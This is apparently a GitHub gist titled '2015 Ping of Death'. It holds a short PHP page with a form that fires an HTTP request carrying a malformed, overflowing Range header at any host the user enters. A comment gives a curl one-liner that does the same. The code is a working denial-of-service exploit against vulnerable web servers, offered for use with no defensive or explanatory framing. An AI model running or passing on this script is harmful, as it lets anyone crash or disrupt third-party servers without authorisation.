Skip to content

Instantly share code, notes, and snippets.

@totoCZ
Created April 18, 2015 21:36
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save totoCZ/02aac24146ebda971eab to your computer and use it in GitHub Desktop.
Save totoCZ/02aac24146ebda971eab to your computer and use it in GitHub Desktop.
2015 Ping of Death
<?php
// curl -v [ipaddress]/static.png -H "Host: test" -H "Range: bytes=0-18446744073709551615"
if (isset($_GET["host"]) && isset($_GET["url"])) {
$h = htmlspecialchars($_GET["host"]);
$ip = gethostbyname($h);
$url = htmlspecialchars($_GET["url"]);
$opts = array('http' =>
array(
'method' => 'GET',
'header' => "Range: bytes=5-18446744073709551615\r\n" . "Host: ".$h,
'content' => $body,
'timeout' => 60
)
);
$context = stream_context_create($opts);
$result = file_get_contents('http://' . $ip . $url, false, $context, -1, 40000);
echo $result;
}
?>
<form>
host: <input name="host" value="" required><br>
url: <input name="url" value="" required>
<input type="submit">
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment